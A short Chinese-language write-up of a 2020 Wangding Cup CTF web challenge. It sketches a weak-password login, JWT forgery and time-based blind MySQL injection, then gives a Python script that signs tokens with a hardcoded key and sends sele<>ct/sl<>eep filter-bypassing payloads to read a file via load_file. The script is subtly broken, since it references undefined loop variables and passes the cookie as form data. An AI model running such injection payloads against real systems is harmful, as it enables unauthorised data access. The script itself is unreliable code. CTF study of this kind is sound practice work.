CTF-2020网鼎杯-玄武组-web题-js_on知识回顾

思路：弱口令登录获得jwt_key，解开jwt，user参数有盲注，修改jwt并组装进行注入，获取flag。

涉及知识：

MySQL注入

JWT安全基础

Python的requests库

Python的PyJWT库

按时间盲注写的脚本如下：

#!/usr/bin/python python3
#-*-coding:utf-8-*-
#CTF_2020网鼎杯_玄武组_Web题_js_on


import requests,jwt,time

url='http://f3837049ec024ba1a59616045d15741a29b3253216334191.cloudgame1.ichunqiu.com/'
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'

flag = ''

for i1 in range(1,50):
    for i2 in range(33,127):
        time_start = time.time()

        #生成组装jwt,放入data，发出请求
        user = '1234\'or/**/1=if(ord(substr((sele<>ct/**/load_file(\'//flag\')),'+str(a)+',1))='+str(i)+',sl<>eep(5),1)#'
        encoded_jwt = jwt.encode({'user':user,'news':'1234'},key,algorithm='HS256')
        data={ 'Cookie':'token='+str(encoded_jwt)}
        res=requests.get(url,data=data)      

        if time.time() - time_start > 5:
            flag += chr(i2)
            print(flag)